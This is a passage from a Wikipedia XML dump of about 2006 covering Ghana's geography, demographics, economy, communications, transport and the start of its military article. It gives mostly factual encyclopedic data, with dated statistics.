The Akwapim-Togo Ranges in the eastern part of the country consist of a generally rugged complex of folded strata, with many prominent heights composed of volcanic rock. The ranges begin west of Accra and continue in a northeasterly direction, finally crossing the frontier into Togo.

In their southeastern part, the ranges are bisected by a deep, narrow gorge cut by the Volta River. The head of this gorge is the site of the Akosombo Dam, which impounds the river to form Lake Volta. The ranges south of the gorge form the Akwapim section of the mountains. The average elevation in this section is about 450 meters, and the valleys are generally deep and relatively narrow. North of the gorge, for about eighty kilometers, the Togo section has broader valleys and low ridges. Beyond this point, the folding becomes more complex and heights increase greatly, with several peaks rising more than 610 meters above sea level. The country's highest point, Mount Afadjato, is located in this area.

The ranges are largely covered with deciduous forests, and their higher elevation provides a relatively cooler, pleasant climate. Small-scale subsistence farming is typical in the ranges. In addition to the cultivation of rice and other staples, coffee plantations are found in the Togo section of the ranges. 

===Volta Basin===

Occupying the central part of Ghana, the Volta Basin covers about 45 percent of the nation's total land surface. Its northern section, which lies above the upper part of Lake Volta, rises to a height of 150 to 215 meters above sea level. Elevations of the Konkori Scarp to the west and the Gambaga Scarp to the north reach from 300 to 460 meters. To the south and the southwest, the basin is less than 300 meters. The Kwahu Plateau marks the southern end of the basin, although it forms a natural part of the Ashanti Uplands.

The basin is characterized by poor soil, generally of Voltaian sandstone. Annual rainfall averages between 1,000 and 1,140 millimeters. The most widespread vegetation type is savanna, the woodlands of which, depending on local soil and climatic conditions, may contain such trees as Red Ironwood and Shea.

The basin's population, principally farmers, is low in density, especially in the central and northwestern areas of the basin, where tsetse flies are common. Archeological finds indicate, however, that the region was once more heavily populated. Periodic burning evidently occurred over extensive areas for perhaps more than a millennium, exposing the soil to excessive drying and erosion, rendering the area less attractive to cultivators.

In contrast with the rest of the region are the Afram Plains, located in the southeastern corner of the basin. Here the terrain is low, averaging 60 to 150 meters in elevation, and annual rainfall is between 1,140 and about 1,400 millimeters. Near the Afram River, much of the surrounding countryside is flooded or swampy during the rainy seasons. With the construction of Lake Volta (85.15 km² in area) in the mid-1960s, much of the Afram Plains was submerged. Despite the construction of roads to connect communities displaced by the lake, road transportation in the region remains poor. Renewed efforts to improve communications, to enhance agricultural production, and to improve standards of living began in earnest only in the mid-1980s. 

===High plains===

The general terrain in the northern and northwestern part of Ghana outside the Volta Basin consists of a dissected plateau, which averages between 150 and 300 meters in elevation and, in some places, is even higher. Rainfall averages between 1,000 and 1,150 millimeters annually, although in the northwest it is closer to 1,350 millimeters. Soils in the high plains are more arable than those in the Volta Basin, and the population density is considerably higher. Grain and cattle production are the major economic activities in the high plains of the northern region. Since the mid-1980s, when former United States President Jimmy Carter's Global 2000 program (see Glossary) adopted Ghana as one of a select number of African countries whose local farmers were to be educated and financially supported to improve agricultural production, there has been a dramatic increase in grain production in northern Ghana. The virtual absence of tsetse flies in the region has led, moreover, to increased livestock raising as a major occupation in the north. In fact, the region is the country's largest producer of cattle.

==Rivers and lakes==
[[Image:Lake Volta, Ghana.jpg|thumb|right|300px|Lake Volta is one of the world's largest artificially created lakes.]]
Ghana is drained by a large number of streams and rivers. In addition, there are a number of coastal lagoons, the huge man-made Lake Volta, and [[Lake Bosumtwi]], southeast of [[Kumasi]] and which has no outlet to the sea. In the wetter south and southwest areas of Ghana, the river and stream pattern is denser, but in the area north of the Kwahu Plateau, the pattern is much more open, making access to water more difficult. Several streams and rivers also dry up or experience reduced flow during the dry seasons of the year, while flooding during the rainy seasons is common.

The major drainage divide runs from the southwest part of the Akwapim-Togo Ranges northwest through the [[Kwahu Plateau]] and then irregularly westward to the Côte d'Ivoire border. Almost all the rivers and streams north of this divide form part of the Volta system. Extending about 1,600 kilometers in length and draining an area of about 388,000 square kilometers, of which about 158,000 km² lie within Ghana, the Volta and its tributaries, such as the Afram River and the Oti River, drain more than twothirds of the country. To the south of the divide are several smaller, independent rivers. The most important of these are the Pra River, the Tano River, the Ankobra River, the Birim River, and the Densu River. With the exception of smaller streams that dry up in the dry seasons or rivers that empty into inland lakes, all the major rivers in the country flow into the Gulf of Guinea directly or as tributaries to other major rivers. The Ankobra and Tano are navigable for considerable distances in their lower reaches.

Navigation on the Volta River has changed significantly since 1964. Construction of the dam at Akosombo, about eighty kilometers upstream from the coast, created vast Lake Volta and the associated 768 megawatt hydroelectric project. Arms of the lake extended into the lower-lying areas, forcing the relocation of 78,000 people to newly created townships on the lake's higher banks. The Black Volta River and the White Volta River flow separately into the lake. Before their confluence was submerged, the rivers came together in the middle of the country to form the main Volta River. The Oti River and the Daka River, the principal tributaries of the Volta in the eastern part of the country, and the Pru River, the Sene River, and the Afram River, major tributaries to the north of the Kawhu Plateau, also empty into flooded extensions of the lake in their river valleys. Lake Volta is a rich source of fish, and its potential as a source for irrigation is reflected in agricultural mechanization agreement signed in the late 1980s to irrigate the Afram Plains. The lake is navigable from Akosombo through Yeji in the middle of the country; a 24 meter pontoon was commissioned in 1989 to link the Afram Plains to the west of the lake with the lower Volta region to the east. Hydroelectricity generated from Akosombo supplies Ghana, Togo, and Benin.

On the other side of the Kwahu Plateau from Lake Volta are several river systems, including the Pra, Ankobra, Tano and Densu. The Pra is the easternmost and the largest of the three principal rivers that drain the area south of the Volta divide. Rising south of the Kwahu Plateau and flowing southward, the Pra enters the Gulf of Guinea east of Takoradi. In the early part of the twentieth century, the Pra was used extensively to float timber to the coast for export. This trade is now carried by road and rail transportation.

The Ankobra, which flows to the west of the Pra, has a relatively small drainage basin. It rises in the hilly region of Bibiani and flows in a southerly direction to enter the gulf just west of Axim. Small craft can navigate approximately eighty kilometers inland from its mouth. At one time, the Ankobra helped transport machinery to the gold-mining areas in the vicinity of Tarkwa. The Tano, which is the westernmost of the three rivers, rises near Techiman in the center of the country. It also flows in a southerly direction, but it empties into a lagoon in the southeast corner of Côte d'Ivoire. Navigation by steam launch is possible on the southern sector of the Tano for about 70 kilometers.

A number of rivers are found to the east of the Pra. The two most important are the Densu and Ayensu, which are important as sources of water for Accra and Winneba, respectively. The country has one large natural lake, Lake Bosumtwi, located about 32 kilometers southeast of Kumasi. It occupies the steep-sided caldera of a former volcano and has an area of about 47 square kilometers. A number of small streams flow into Lake Bosumtwi, but there is no drainage from it. Apart from providing an opportunity for fishing for local inhabitants, the lake serves as a tourist attraction.

== Natural hazards == 
Dry, dusty, [[harmattan]] winds occur from January to March. The country is also prone to droughts.

== Environment == 
The recent drought in the north has had a severe effect on [[agriculture]]. Wildlife is threatened by [[poaching]] and [[habitat destruction]] threatens wildlife populations.

'''International agreements (ratified):'''

[[Biodiversity]], [[United Nations Framework Convention on Climate Change|Climate Change]], [[Desertification]], [[Endangered Species]], [[Environmental Modification]], [[Law of the Sea]], [[Nuclear Test Ban]], [[Ozone Layer Protection]], [[Ship Pollution]], [[Tropical Timber 83]], [[Tropical Timber 94]], [[Wetlands]]

''' International agreements (signed, but not ratified)'''

[[Marine Life Conservation]]

== Other ==
[[Volta Lake]], the largest artificial lake in the world, extends from the [[Akosombo Dam]] in southeastern Ghana to the town of Yapei, 520 kilometers (325 mi) to the north. The lake generates [[electricity]], provides [[Transportation in Ghana|inland transportation]], and is a potentially valuable resource for [[irrigation]] and [[fish farming]].

==Source==
*[http://lcweb2.loc.gov/frd/cs/ Library of Congress, Country Studies]

{{Africa in topic|Geography of}}

[[Category:Geography of Ghana| ]]
[[Category:Geography by country|Ghana]]

[[es:Geografía de Ghana]]
[[lt:Ganos geografija]]
[[pt:Geografia do Gana]]</text>
    </revision>
  </page>
  <page>
    <title>Demographics of Ghana</title>
    <id>12070</id>
    <revision>
      <id>35731550</id>
      <timestamp>2006-01-18T22:08:47Z</timestamp>
      <contributor>
        <username>Darwinek</username>
        <id>107928</id>
      </contributor>
      <minor />
      <comment>cat</comment>
      <text xml:space="preserve">[[Ghana]]'s population is concentrated along the coast and in the principal cities of [[Accra]] and [[Kumasi]]. Most Ghanaians descended from migrating tribes that probably came down the [[Volta River]] valley at the beginning of the [[13th century]]. Ethnically, Ghana is divided into small groups speaking more than 50 languages and dialects. Among the more important linguistic groups are the [[Akan (language)|Akan]]s, which include the [[Fanti]]s along the coast and the [[Ashanti_people|Ashanti]]s in the forest region north of the coast; the [[Guan]]s, on the plains of the Volta River; the [[Ga language|Ga]]- and [[Ewe language|Ewe]]-speaking peoples of the south and southeast; and the [[Dagomba|Mossi-Dagomba]]-speaking tribes of the northern and upper regions. [[English language|English]], the official and commercial language, is taught in all the schools.

Primary and junior secondary school education is tuition-free and mandatory. The Government of Ghana support for basic education is unequivocal. Article 39 of the Constitution mandates the major tenets of the free, compulsory, universal basic education (FCUBE) initiative. Launched in 1996, it is one of the most ambitious pre-tertiary education programs in West Africa. Since 1987, the Government of Ghana has increased its education budget by 700%. Basic education's share has grown from 45% to 60% of that total.

Students begin their 6-year primary education at age six. Under educational reforms implemented in 1987, they pass into a junior secondary school system for 3 years of academic training combined with technical and vocational training. Those continuing move into the 3-year senior secondary school program. Entrance to one of the five Ghanaian universities is by examination following completion of senior secondary school. School enrollment totals almost 3 million.

'''Population:'''
19,533,560
&lt;br&gt;''note:''
estimates for this country explicitly take into account the effects of excess mortality due to AIDS; this can result in lower life expectancy, higher infant mortality and death rates, lower population and growth rates, and changes in the distribution of population by age and sex than would otherwise be expected (July 2000 est.)

'''Age structure:'''
&lt;br&gt;''0-14 years:''
42% (male 4,120,240; female 4,063,960)
&lt;br&gt;''15-64 years:''
55% (male 5,290,675; female 5,391,175)
&lt;br&gt;''65 years and over:''
3% (male 318,890; female 348,620) (2000 est.)

'''Population growth rate:'''
1.87% (2000 est.)

'''Birth rate:'''
29.81 births/1,000 population (2000 est.)

'''Death rate:'''
10.22 deaths/1,000 population (2000 est.)

'''Net migration rate:'''
-0.89 migrant(s)/1,000 population (2000 est.)

'''Sex ratio:'''
&lt;br&gt;''at birth:''
1.03 male(s)/female
&lt;br&gt;''under 15 years:''
1.01 male(s)/female
&lt;br&gt;''15-64 years:''
0.98 male(s)/female
&lt;br&gt;''65 years and over:''
0.91 male(s)/female
&lt;br&gt;''total population:''
0.99 male(s)/female (2000 est.)

'''Infant mortality rate:'''
57.43 deaths/1,000 live births (2000 est.)

'''Life expectancy at birth:'''
&lt;br&gt;''total population:''
57.42 years
&lt;br&gt;''male:''
56.07 years
&lt;br&gt;''female:''
58.82 years (2000 est.)

'''Total fertility rate:'''
3.95 children born/woman (2000 est.)

'''Nationality:'''
&lt;br&gt;''noun:''
Ghanaian(s)
&lt;br&gt;''adjective:''
Ghanaian

'''Ethnic groups:'''
black African 99.8% (major tribes - Akan 44%, Moshi-Dagomba 16%, Ewe 13%, Ga 8%), European and other 0.2%

'''Religions:'''
Indigenous beliefs 38%, Christian 34%, Muslim 30%

'''Languages:'''
English (official), African languages (including Akan, Moshi-Dagomba, Ewe, and Ga)

'''Literacy:'''
&lt;br&gt;''definition:''
age 15 and over can read and write
&lt;br&gt;''total population:''
64.5%
&lt;br&gt;''male:''
75.9%
&lt;br&gt;''female:''
53.5% (1995 est.)

== See also==
*[[Ghana]]

{{Africa in topic|Demographics of}}

[[Category:Ghanaian society]]
[[Category:Demographics by country|Ghana]]</text>
    </revision>
  </page>
  <page>
    <title>Ghana/Government</title>
    <id>12071</id>
    <revision>
      <id>15909779</id>
      <timestamp>2002-10-09T16:31:19Z</timestamp>
      <contributor>
        <username>Magnus Manske</username>
        <id>4</id>
      </contributor>
      <minor />
      <comment>#REDIRECT [[Politics_of_Ghana]]</comment>
      <text xml:space="preserve">#REDIRECT [[Politics_of_Ghana]]</text>
    </revision>
  </page>
  <page>
    <title>Economy of Ghana</title>
    <id>12072</id>
    <revision>
      <id>38992799</id>
      <timestamp>2006-02-10T00:16:23Z</timestamp>
      <contributor>
        <username>Briaboru</username>
        <id>284038</id>
      </contributor>
      <comment>/* See also */</comment>
      <text xml:space="preserve">By [[West Africa]]n standards, [[Ghana]] has a diverse and rich resource base. The country is mainly [[agricultur]]al, however, with a majority of its workers engaged in farming. Cash crops consist primarily of [[cocoa]] and cocoa products,which typically provide about two-thirds of export revenues, timber products, [[coconut]]s and other palm products, [[shea nut]]s, which produce an edible fat, and [[coffee]]. Ghana also has established a successful program of nontraditional agricultural products for export, including [[pineapple]]s, [[cashew]]s, and [[black pepper|pepper]]. [[Cassava]], [[yam (vegetable)|yams]], [[plantain]]s, [[maize]], [[rice]], [[peanut]]s, [[millet]], and [[sorghum]] are the basic foodstuffs. Fish, poultry, and meat also are important dietary staples.

Minerals -- principally [[gold]], [[diamond]]s, [[manganese]] ore, and [[bauxite]] -- are produced and exported. The only commercial oil well has been closed after producing 3.5 million barrels (560,000 m&amp;sup3;) over its seven-year life, but signs of [[natural gas]] are being studied for power generation, while exploration continues for other oil and gas resources.

Ghana's industrial base is relatively advanced compared to many other African countries. Import-substitution industries include textiles; [[steel]] (using scrap); tires; oil refining; flour milling; beverages; [[tobacco]]; simple consumer goods; and car, truck, and bus assembly.

Tourism has become one of Ghana's largest foreign income earners (ranking third in 1997), and the Ghanaian Government has placed great emphasis upon further tourism support and development.

==Independence==
At independence, Ghana had a substantial physical and [[social infrastructure]] and $481 million in foreign reserves. The [[Kwame Nkrumah|Nkrumah]] government further developed the infrastructure and made important public investments in the industrial sector. With assistance from the [[United States]], the [[World Bank]], and the [[United Kingdom]], construction of the [[Akosombo Dam]] was completed on the [[Volta River]] in 1966. Two U.S. companies built [[Valco]], Africa's largest [[aluminium]] smelter, to use power generated at the dam. Aluminium exports from Valco are a major source of foreign exchange for Ghana.

Many Nkrumah-era investments were monumental public works projects and poorly conceived, badly managed agricultural and industrial schemes. With cocoa prices falling and the country's foreign exchange reserves fast disappearing, the government resorted to supplier credits to finance many projects. By the mid-1960s, Ghana's reserves were gone, and the country could not meet repayment schedules. To rationalize, the National Liberation Council abandoned unprofitable projects, and some inefficient state-owned enterprises were sold to private investors. On three occasions, Ghana's creditors agreed to reschedule repayments due on Nkrumah-era supplier credits. Led by the United States, foreign donors provided import loans to enable the foreign exchange-strapped government to import essential commodities.

==Busia government==
Prime Minister Busia's government (1969-72) liberalized controls to attract foreign investment and to encourage domestic entrepreneurship. Investors were cautious, however, and cocoa prices began declining again while imports surged, precipitating a serious trade deficit. Despite considerable foreign assistance and some debt relief, the Busia regime also was unable to overcome the inherited restraints on growth posed by the debt burden, balance-of-payments imbalances, foreign exchange shortages, and mismanagement.

Although foreign aid helped prevent economic collapse and was responsible for subsequent improvements in many sectors, the economy stagnated in the 10-year period preceding the NRC takeover in 1972. Population growth offset the modest increase in gross domestic product, and real earnings declined for many Ghanaians.

==Acheampong government==
To restructure the economy, the NRC, under General Acheampong (1972-78), undertook an austerity program that emphasized self-reliance, particularly in food production. These plans were not realized, however, primarily because of post-1973 oil price increases and a drought in 1975-77 that particularly affected northern Ghana. The NRC, which had inherited foreign debts of almost $1 billion, abrogated existing rescheduling arrangements for some debts and rejected other repayments. After creditors objected to this unilateral action, a 1974 agreement rescheduled the medium-term debt on liberal terms. The NRC also imposed the Investment Policy Decree of 1975--effective on January 1977--that required 51% Ghanaian equity participation in most foreign firms, but the government took 40% in specified industries. Many shares were sold directly to the public.

==Akuffo government==
Continued mismanagement of the economy, record inflation (more than 100% in 1977), and increasing corruption, notably at the highest political levels, led to growing dissatisfaction. The post-July 1978 military regime led by General Akuffo attempted to deal with Ghana's economic problems by making small changes in the overvalued cedi and by restraining government spending and monetary growth. Under a one-year standby agreement with the International Monetary Fund (IMF) in January 1979, the government promised to undertake economic reforms, including a reduction of the budget deficit, in return for a $68 million IMF support program and $27 million in IMF Trust Fund loans. The agreement became inoperative, however, after the [[4 June]] coup that brought Flight Lieutenant Rawlings and the AFRC to power for 4 months.

==Limann government==
In September 1979, the civilian government of Hilla Limann inherited declining per capita income; stagnant industrial and agricultural production due to inadequate imported supplies; shortages of imported and locally produced goods; a sizable budget deficit (almost 40% of expenditures in 1979); high inflation, &quot;moderating&quot; to 54% in 1979; an increasingly overvalued cedi; flourishing smuggling and other black-market activities; unemployment and underemployment, particularly among urban youth; deterioration in the transport network; and continued foreign exchange constraints.

Limann's PNP government announced yet another (2-year) reconstruction program, emphasizing increased food production and productivity, exports, and transport improvements. Import austerity was imposed and external payments arrears cut. However, declining cocoa production combined with falling cocoa prices, while oil prices soared. No effective measures were taken to reduce rampant corruption and black marketing.

==Rawlings government==
When Rawlings again seized power at the end of 1981, cocoa output had fallen to half the 1970-71 level and its world price to one-third the 1975 level. By 1982, oil would constitute half of Ghana's imports, while overall trade contracted greatly. Internal transport had slowed to a crawl, and inflation remained high. During Rawlings' first year, the economy was stagnant. Industry ran at about 10% of capacity due to the chronic shortage of foreign exchange to cover the importation of required raw materials and replacement parts. Economic conditions deteriorated further in early 1983 when Nigeria expelled an estimated 1 million Ghanaians who had to be absorbed by Ghana.

In April 1983, in coordination with the IMF, the PNDC launched an economic recovery program, perhaps the most stringent and consistent of its day in Africa, aimed at reopening infrastructural bottlenecks and reviving moribund productive sectors--agriculture, mining, and timber. The largely distorted exchange rate and prices were realigned to encourage production and exports. Increased fiscal and monetary discipline was imposed to curb inflation and to focus on priorities. Through November 1987, the cedi was devalued by more than 6,300%, and widespread direct price controls were substantially reduced.

==Returning refugees==
The economy's response to these reforms was initially hampered by the absorption of one million returnees from Nigeria, the onset of the worst drought since independence, which brought on widespread bushfires and forced closure of the aluminium smelter and severe power cuts for industry and decline in foreign aid. In 1985, the country absorbed an additional 100,000 expellees from Nigeria. In 1987, cocoa prices began declining again; however, initial infrastructural repairs, improved weather, and producer incentives and support revived output in the early 1990s. During 1984-88 the economy experienced solid growth for the first time since 1978. Renewed exports, aid inflows, and a foreign exchange auction have eased hard currency constraints.

==IMF support==
Since an initial August 1983 IMF standby agreement, the economic recovery program has been supported by three IMF standbys and two other credits totaling $611 million, $1.1 billion from the World Bank, and hundreds of millions of dollars more from other donors. In November 1987, the IMF approved a $318-million, 3-year extended fund facility. The second phase (1987-90) of the recovery program concentrated on economic restructuring and revitalizing social services. The third phase, focused on financial transparency and macroeconomic stability is scheduled for March 1998.

Ghana intends to achieve its goals of accelerated economic growth, improved quality of life for all Ghanaians, and reduced poverty through macroeconomic stability, higher private investment, broad-based social and rural development, as well as direct poverty-alleviation efforts. These plans are fully supported by the international donor community and have been forcefully reiterated in the 1995 government report, Ghana: Vision 2020. Privatization of state-owned enterprises continues, with about two-thirds of 300 parastatal enterprises sold to private owners. Other reforms adopted under the government's structural adjustment program include the elimination of exchange rate controls and the lifting of virtually all restrictions on imports. The establishment of an interbank foreign exchange market has greatly expanded access to foreign exchange.

The medium-term macroeconomic forecast assumes political stability, successful economic stabilization, and the implementation of a policy agenda for private sector growth, and adequate public spending on social services and rural infrastructure. The ninth Consultative Group Meeting for Ghana ended [[5 November]] [[1997]] after deliberations in Paris. Twenty-four countries and donor entities were represented at this meeting called by the World Bank on behalf of the Ghanaian Government. The World Bank announced that, of the targeted disbursement level of $1.6 billion sought from the donor community for 1998-99, they foresaw only a $150 million shortfall in commitments, and that this shortfall would be easily realized should Ghana rapidly enact its macroeconomic program.

The government repealed a 17.% value-added tax (VAT) shortly after its introduction in 1995, which resulted in wide-spread public protests. The government reverted to several previously imposed taxes, including a sales tax. The government has set in motion a program to reintroduce a VAT bill, with implementation in 1998 after an extensive public education campaign.

==Statistics==
'''GDP:'''
purchasing power parity - $48.27 billion (2004 est.)

'''GDP - real growth rate:'''
5.4% (2004 est.)

'''GDP - per capita:'''
purchasing power parity - $2,300 (2004 est.)

'''GDP - composition by sector:'''
&lt;br&gt;''agriculture:''
34.3%
&lt;br&gt;''industry:''
24.2%
&lt;br&gt;''services:''
41.4% (2004 est.)

'''Investment (gross fixed):'''
19.7% of GDP (2004)

'''Population below poverty line:'''
31.4% (1992 est.)

'''Household income or consumption by percentage share:'''
&lt;br&gt;''lowest 10%:''
2.2%
&lt;br&gt;''highest 10%:''
30.1% (1992)

'''Distribution of family income - [[Gini index]]:'''
40.7 (1999)

'''Inflation rate (consumer prices):'''
13% (2004 est.)

'''Labor force:'''
10.24 million (2004 est.)

'''Labor force - by occupation:'''
agriculture 60%, industry 15%, services 25% (1999 est.)

'''Unemployment rate:'''
20% (1997 est.)

'''Budget:'''
&lt;br&gt;''revenues:''
$1.943 billion
&lt;br&gt;''expenditures:''
$2.192 billion, including capital expenditures of NA (2003 est.)

'''Agriculture - products:'''
cocoa, rice, coffee, cassava (tapioca), peanuts, corn, shea nuts, bananas; timber

'''Industries:'''
mining, lumbering, light manufacturing, aluminium smelting, food processing

'''Industrial production growth rate:'''
3.8% (2000 est.)

'''Electricity - production:'''
8.801 [[TWh]] (2001)

'''Electricity - production by source:'''
&lt;br&gt;''fossil fuel:''
0.1%
&lt;br&gt;''hydro:''
99.9%
&lt;br&gt;''nuclear:''
0%
&lt;br&gt;''other:''
0% (1998)

'''Electricity - consumption:'''
8.835 TWh (2001)

'''Electricity - exports:'''
0.300 TWh (2001)

'''Electricity - imports:'''
0.950 TWh (2001)

'''Oil - production:'''
7,000 barrel/day (2001 est.)

'''Oil - consumption:'''
38,000 barrel/day (2001 est.)

'''Oil - exports:'''
NA (2001)

'''Oil - imports:'''
NA (2001)

'''Oil - proved reserves:'''
8.255 million barrel ([[1 January]] [[2002]])

'''Natural gas - proved reserves:'''
11.89 billion m&amp;sup3; ([[1 January]] [[2002]])

'''Current account balance:'''
$110 million (2003)

'''Exports:'''
$2.642 billion f.o.b. (2003 est.)

'''Exports - commodities:'''
[[gold]], [[cocoa]], [[timber]], [[tuna]], [[bauxite]], [[aluminium]], [[manganese ore]], [[diamond]]s

'''Exports - partners:'''
[[Netherlands]] 11.2%, [[United Kingdom]] 10.7%, [[France]] 7.7%, [[Germany]] 6.2%, [[Japan]] 5.2%, [[Italy]] 4.6%, [[Turkey]] 4.4%, [[United States]] 4.3% (2003)

'''Imports:'''
$3.24 billion f.o.b. (2003 est.)

'''Imports - commodities:'''
capital equipment, petroleum, foodstuffs

'''Imports - partners:'''
[[Nigeria]] 13.2%, [[China]] 9.3%, United Kingdom 7.2%, United States 6.1%, Germany 4.8%, France 4.5%, [[South Africa]] 4% (2003) 

'''Reserves of foreign exchange &amp; gold:'''
$1.469 billion (2003)

'''Debt - external:'''
$7.398 billion (2003 est.)

'''Economic aid - recipient:'''
$6.9 billion (1999)

'''Currency:'''
[[cedi]] (GHC)

'''Exchange rates:'''
cedis per US dollar - NA (2003), 7,932.7 (2002), 7,170.76 (2001), 5,455.06 (2000), 2,669.3 (1999)

'''Fiscal year:'''
calendar year

==See also==
*[[Ghana]]
*[[Economy of Africa]]

{{WTO}}
[[Category:WTO members|Ghana]]
[[Category:Economy of Ghana| ]]
[[Category:African Union member economies|Ghana]]
[[fr:Économie du Ghana]]
[[pt:Economia do Gana]]</text>
    </revision>
  </page>
  <page>
    <title>Communications in Ghana</title>
    <id>12073</id>
    <revision>
      <id>35162109</id>
      <timestamp>2006-01-14T17:08:50Z</timestamp>
      <contributor>
        <ip>196.201.34.160</ip>
      </contributor>
      <text xml:space="preserve">'''[[Telephone]]s - main lines in use:'''
200,000 (1998 est.)

'''Telephones - mobile cellular:'''
90,000 (yearend 2001)

'''Telephone system:'''
poor to fair system; Internet accessible; many rural communities not yet connected; expansion of services is underway
&lt;br&gt;''domestic:''
primarily [[microwave]] radio relay; wireless local loop has been installed
&lt;br&gt;''international:''
[[satellite]] earth stations - 4 [[Intelsat]] ([[Atlantic Ocean]]); microwave radio relay link to [[Panaftel]] system connects Ghana to its neighbors

'''[[Radio]] [[Broadcasting|broadcast]] stations:'''
AM 0, FM 18, shortwave 3 (1999)

'''Radios:'''
4.4 million (1997)

'''[[Television]] broadcast stations:'''
11 (1999)

'''Televisions:'''
1.73 million (1997)

'''[[Internet Service Provider]]s (ISPs):'''
16 (2004)

'''[[Country code]] (Top-level domain):''' GH

== External links ==
* [http://www.mobileafrica.net/ghana.php Mobile Communication in Ghana]

:''See also :'' [[Ghana]]

[[Category:Communications in Ghana| ]]</text>
    </revision>
  </page>
  <page>
    <title>Transport in Ghana</title>
    <id>12074</id>
    <revision>
      <id>37087815</id>
      <timestamp>2006-01-28T15:50:23Z</timestamp>
      <contributor>
        <username>Fuhghettaboutit</username>
        <id>665998</id>
      </contributor>
      <minor />
      <comment>faciliate---&gt;facilitate</comment>
      <text xml:space="preserve">{{CIA}}

== [[Railway]]s ==
&lt;br&gt;''total:''
953 km (undergoing major rehabilitation)
&lt;br&gt;''narrow gauge:''
953 km 1.067-m gauge (32 km double track) (1997 est.)

=== Railway links with adjacent countries ===

* [[Transportation in Burkina Faso|Burkina Faso]] - no - [[break-of-gauge]] 1067mm/1000mm
* [[Transportation in Togo|Togo]]- no - [[break-of-gauge]] 1067mm/1000mm
* [[Transportation in Côte d'Ivoire|Ivory Coast]] - no - [[break-of-gauge]] 1067mm/1000mm

=== Plans 2005 ===

[[Image:Ghana88001336a.jpg|thumbnail|px450|right|Ghana road and rail map.&lt;br&gt;Distance from Kumasi to Ho is approx 320km]]

On [[2 July]], [[2005]], the Minister of Ports, Harbours and Railways announced some plans to extend the railway system to facilitate economic development.  To begin with, $5m is being sought from the [[African Development Bank]] ([[ADB]]) for feasibility studies.

Some possible projects include:
* extend from [[Ejisu]] to [[Nkroranza]] and [[Techiman]]
* [[Tamale, Ghana|Tamale]] to [[Bolgatanga]] and [[Paga]] to [[Burkina Faso]]
* [[Wenchi]], [[Bole]] to [[Wa]] and [[Hamile]] and also to [[Burkina Faso]]
* [http://www.allafrica.com]

== [[Highway]]s ==
&lt;br&gt;''total:''
39,409 km
&lt;br&gt;''paved:''
11,653 km (including 30 km of expressways)
&lt;br&gt;''unpaved:''
27,756 km (1997 est.)

== Waterways ==
The [[Volta River|Volta]], [[Ankobra River|Ankobra]], and [[Tano River|Tano]] rivers provide 168 km of perennial navigation for launches and lighters; Lake Volta provides 1,125 km of arterial and feeder waterways

== Pipelines ==
0 km

== [[Seaport]]s and [[harbor]]s ==
=== Atlantic Ocean ===

[[Takoradi]], [[Tema]]

== [[Merchant marine]] ==
&lt;br&gt;''total:''
6 ships (1,000 GRT or over) totaling 13,484 GRT/18,583 DWT
&lt;br&gt;''ships by type:''
petroleum tanker 2, refrigerated cargo 4 (1999 est.)

== [[Airport]]s ==
12 (1999 est.)

=== Airports - with paved runways ===
&lt;br&gt;''total:''
6
&lt;br&gt;''2,438 to 3,047 m:''
1
&lt;br&gt;''1,524 to 2,437 m:''
3
&lt;br&gt;''914 to 1,523 m:''
2 (1999 est.)

=== Airports - with unpaved runways ===
&lt;br&gt;''total:''
6
&lt;br&gt;''1,524 to 2,437 m:''
1
&lt;br&gt;''914 to 1,523 m:''
3
&lt;br&gt;''under 914 m:''
2 (1999 est.)

== See also ==

* [[Ghana]]


{{CIAfb}}


{{Africa in topic|Transport in}}

[[Category:Transport in Ghana| ]]</text>
    </revision>
  </page>
  <page>
    <title>Military of Ghana</title>
    <id>12075</id>
    <revision>
      <id>38925182</id>
      <timestamp>2006-02-09T15:32:28Z</timestamp>
      <contributor>
        <ip>80.87.85.242</ip>
      </contributor>
      <comment>/* General */</comment>
      <text xml:space="preserve">&lt;table border=&quot;1&quot; width=30% cellpadding=2 cellspacing=0 align=right style=&quot;margin: 0 0 1em 1em;&quot;&gt;
&lt;tr&gt;&lt;th colspan=2 align=center bgcolor=#8888dd&gt;'''Military of Ghana'''
&lt;tr&gt;&lt;td colspan=2  align=center&gt;'''Military manpower'''
&lt;tr&gt;&lt;td&gt;Military age&lt;td&gt;18 years of age(2002)
&lt;tr&gt;&lt;td&gt;Availability&lt;td&gt;males age 15-49: 5,045,355 (2002 est.)&lt;tr&gt;&lt;td&gt;Fit for military service&lt;td&gt;males age 15-49: 5,045,355 (2002 est.) 
&lt;tr&gt;&lt;td&gt;Reaching military age annually&lt;td&gt;males: 213,237 (2002 est.)
&lt;tr&gt;&lt;td colspan=2 align=center&gt;'''Military expenditures'''
&lt;tr&gt;&lt;td&gt;Dollar figure&lt;td&gt; $35.2 million (FY01)
&lt;tr&gt;&lt;td&gt;Percent of GDP&lt;td&gt;0.7% (FY01)
&lt;/table&gt;
[[Image:Ghanatroops.jpg|thumb|300px|Ghanaian troops]]
'''Military of Ghana''' - consists of the Army, Navy, [[Ghana Air Force|Air Force]], National Police Force, Palace Guard, and Civil Defense.

==General==
Like any [[army]], [[Ghana]]'s exists to ward off foreign aggression and
ensure some form of security for the citizens of Ghana. The Ghanaian
military is primarily composed of the army, which controls both the air
and naval units. In terms of command, the minister of defense
commands [[general]]s and other commanders on the field. Military units
exist in the capital, [[Accra]] and in Ghana's border regions. The
Ghanaian army, which has a northern and a southern command, is
organized into two [[brigade]]s, with six [[infantry]] battalions; one
reconnaissance regiment, with two reconnaissance squadrons; one
airborne force, with one paratroop company; one artillery regiment; and
one field engineer regiment.

==Weapons==
The ordnance is mostly older weapons of [[United Kingdom|British]], [[Brazil|Brazilian]], [[Switzerland|Swiss]], [[Sweden|Swedish]], [[Israel|Israeli]], and [[Finland|Finnish]] origin. All Ghanaian equipment suffers from extremely poor servicing due to substandard maintenance capabilities. As a result, foreign military advisers or [[technicians]] perform all major maintenance tasks.

==Army==
The Ministry of Defence is located in [[Accra]] as is Defence Headquarters. The army numbers some 5,000 personnel and is structured as follows:
*Two BDE HQ in [[Accra]] and [[Kumasi]]
*6 Infantry [[Battalions]] of the [[Ghana Regiment]]
*2 Airborne [[company (military unit)|companies]] attached to DHQ 
*1 Battalion of the [[President's Own Guard Regiment]] 
*1 Training Battalion 
*1 Staff College 
*2 armoured reconnaissance squadrons of the [[Reconnaissance Regiment]] 
*1 Signals Regiment 
*1 Engineer Regiment 
*1 Logistic Group.

==Air Force==
[[Image:Skyvan.jpg|thumb|250px|SC-7 Skyvan 3M]]
